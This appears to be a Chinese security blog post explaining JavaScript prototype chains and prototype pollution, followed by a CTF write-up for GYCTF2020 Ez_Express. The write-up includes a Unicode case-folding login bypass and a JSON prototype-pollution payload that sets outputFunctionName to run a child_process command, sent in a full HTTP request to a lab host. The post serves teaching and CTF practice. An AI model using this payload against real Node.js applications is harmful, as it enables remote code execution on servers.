草庐IT

Nodejs原型链污染

蚁景科技 2023-03-28 原文

Nodejs与JavaScript和JSON

有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。

那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。

原型对象(prototype)与原型连接点(__proto__)与原型链

在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。

person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";
​
这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};
​
这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue");    通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");
​
这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)

function Object()
{
​
}
在底层为
var Object = new Function();

那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。

那么提到了__proto__prototype我们就来说说这两个是什么东西。

首先我们要了解以下概念:

__proto__是任何一个对象拥有的属性

prototype是任何一个函数拥有的一个属性

比如

person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。

1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。

2.JavaScript使用prototype链实现继承机制。

3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。

4.Object.prototype.proto最终指向null,这也是所有原型链的终点。

5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。

如果我们有如下代码:

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}
​
function Son() {
    this.first_name = 'Melania'
}
​
Son.prototype = new Father()
​
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

那么按照上述说法 就有如下结构

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name。

  2. 如果找不到,则在son.__proto__中寻找last_name。

  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。

  4. 依次寻找,直到找到null结束。

原型链污染

举个栗子

// 这个对象直接实例化Object()
let foo = {bar: 1}
​
// foo.bar 此时为1
console.log(foo.bar)
​
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
​
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
​
// 此时再用Object创建一个空的zoo对象
let zoo = {}
​
// 查看zoo.bar
console.log(zoo.bar)

这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。

看下面代码,一个简单的对象clone:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {  
            // 如果target与source有相同的键名 则让target的键值为source的键值
            merge(target[key], source[key])
        } else {
            target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值
        }
    }
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
​
o3 = {}
console.log(o3.b)

这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
​
o3 = {}
console.log(o3.b)

漏洞复现

[GYCTF2020]Ez_Express

进入环境之后是一个登录页面,测试之后发现存在www.zip源码泄露,开始审计index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }
​
  return undefined
}
​
router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});
​
​
router.get('/login', function (req, res) {
  res.render('login');
});
​
​
​
router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;
​

看下面两段代码

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }
​
  return undefined
}
router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。

再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。

if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 

所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。

这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }

往下看找到调用clone的位置

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。

看到这段:

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload?

但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码:

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。

req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。

POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137
​
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}
​

在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。

更多靶场实验练习、网安学习资料,请点击这里>>

 

有关Nodejs原型链污染的更多相关文章

  1. jquery - 在 Rails 中从原型(prototype)切换到 jquery,助手呢? - 2

    我目前从prototype切换到jquery主要是为了支持简单的ajax文件上传。我使用:https://github.com/indirect/jquery-rails95%的javascript代码是由railshelper编写的,例如:-remote_function-render:updatedo|page|-page.replace_html'id',:partial=>'content'-page['form']['name']=something-page.visual_effect:highlight,'head_success'...我知道我必须为Jquery重写5%

  2. ruby-on-rails - 尽管安装了 therubyracer 和 nodejs,但找不到 JavaScript 运行时 - 2

    我尝试在CentOS5上运行Rails应用程序并不断收到thiserror:CouldnotfindaJavaScriptruntime.Seehttps://github.com/sstephenson/execjsforalistofavailableruntimes.(ExecJS::RuntimeUnavailable)我同时安装了NodeJS(v0.8.15)和therubyracer(libv8)。这是我的gemlist:***LOCALGEMS***actionmailer(3.2.9,3.2.8)actionpack(3.2.9,3.2.8)activemodel(3.

  3. ruby - 污染 Ruby 对象的目的是什么? - 2

    我知道将不受信任的对象标记为受污染的可能性,但根本目的是什么,我为什么要这样做? 最佳答案 将污点作为一种安全预防措施进行跟踪,以确保不受信任的数据不会被错误地用于计算、交易或解释为代码。通过内置语言功能跟踪污点比通过编码约定或依赖代码审查跟踪更清晰、更可靠。例如,来自用户的输入通常可以被认为是“不可信的”,直到它被适本地清理以插入到数据库中。通过将输入标记为受污染,Ruby可确保进行令人满意的清理并防止潜在的SQL注入(inject)攻击。有关演示如何在没有此类Perl和Ruby模块的情况下跟踪污点的“古老”(2005年)编码实践

  4. ruby - 什么是受污染的对象,我们什么时候应该清除它们? - 2

    Ruby对象什么时候需要被污染,什么时候应该取消污染?受污染对象的概念如何使Ruby脚本在安全模式下运行?任何人都可以详细说明这一点以通过一些代码片段使概念清晰吗? 最佳答案 什么是污染?根据定义,用户输入被污染了。例如:string=getsstring.tainted?#=>true您还可以手动污染对象。string='Notyettainted.'string.tainted?#=>false(string='Explicitlytaintme!').taintstring.tainted?#=>true为什么要清除对象的污点

  5. ruby-on-rails - rails Assets 管道 "Cannot allocate memory - nodejs" - 2

    我们刚刚从Rails3.0.7升级到Rails3.2.5,并为暂存服务器即时使用Assets管道编译,但有时我们会遇到这个异常!Showing/var/rails/appname/app/views/common/_my_partial.html.hamlwhereline#raised:Cannotallocatememory-nodejs/tmp/execjs20120613-17090-thoc8f.js2>&1Extractedsource(aroundline#):Traceoftemplateinclusion:app/views/layouts/application.h

  6. nodejs - 2

    Nodejs介绍Nodejs是一个javascript运行环境(runTime)。它让javascript可以开发后端程序,它几乎能实现其他后端语言能实现的所有功能。nodejs是基于googleV8引擎,V8引擎是google发布的一款开源的javascript引擎,原来主要是用于Chrome浏览器的js解释部分,但是RyanDahl,鬼才般的把V8引擎搬到了服务器上,用于服务器的软件。为什么要使用NodejsNodejs有什么优点Nodejs语法完全是js语法,只要你懂js基础就可以学会Nodejs后端开发,Nodejs打破了过去JavaScript只能在浏览器中运行的局面。前后端编程环境

  7. javascript - 使用原型(prototype) [javascript] 的未定义结果 - 2

    所以我正在使用javascript学习原型(prototype),并尝试了一些代码:functionEmployee(name){this.name=name;}varm=newEmployee("Bob");varworking={isWorking:true};Employee.prototype=working;alert(m.isWorking);不幸的是,我收到了未定义的消息,而不是真实值。这个结果有什么原因吗?我做了几个测试。我得出的结论是,重新分配原型(prototype)对象会导致任何先前创建的Employee类实例无法访问在新分配的原型(prototype)中找到的任

  8. javascript - Nodejs 与 promise 并行 - 2

    我有一个这样的字典:{go:['went','run'],love:['passion','like']}键的值是它的同义词。'getSynonymWords(word)'是一个异步函数,它返回一个promise,其中它的值是与传递的参数对应的同义词列表。我怎样才能像这样循环遍历对象以递归地获取另一个对象:{went:[],run:[],passion:[],like:[]}这是我的一段代码:functiongetRelatedWords(dict){returnnewPromise(function(resolve){varnewDict={};for(varkeyindict){i

  9. Javascript函数和原型(prototype)——通过调用方法的基本路由问题 - 2

    我正在接近从Ruby背景学习JavaScript,所以我在理解(并用语言表达)为什么我的代码无法产生我需要的结果时遇到了一些困难。我在pythontutor.com上运行它以查看正在发生的事情的分步演练,它证实了我的怀疑。但是,我不确定为什么会这样。我正在构建一个恒温器,一旦温度低于18dC,它应该会返回“绿色”。在倒数第二行,console.log是17,这是正确的,但是当我在最后一行调用thermostat.displayColor时,它仍然显示黄色。代码在那里终止,并且不会通过我期望的this.displayColor=this.currentColor()返回(因为它在第一次运

  10. javascript - 修改生成器函数原型(prototype) - 2

    长话短说我想修改生成器函数实例的原型(prototype)——即调用function*返回的对象。假设我有一个生成器函数:function*thing(n){while(--n>=0)yieldn;}然后,我创建一个实例:letfour=thing(4);我想定义一个名为exhaust的生成器原型(prototype),如下所示:four.exhaust(item=>console.log(item));这会产生:3210我可以通过这样做来破解它:(function*(){})().constructor.prototype.exhaust=function(callback){let

随机推荐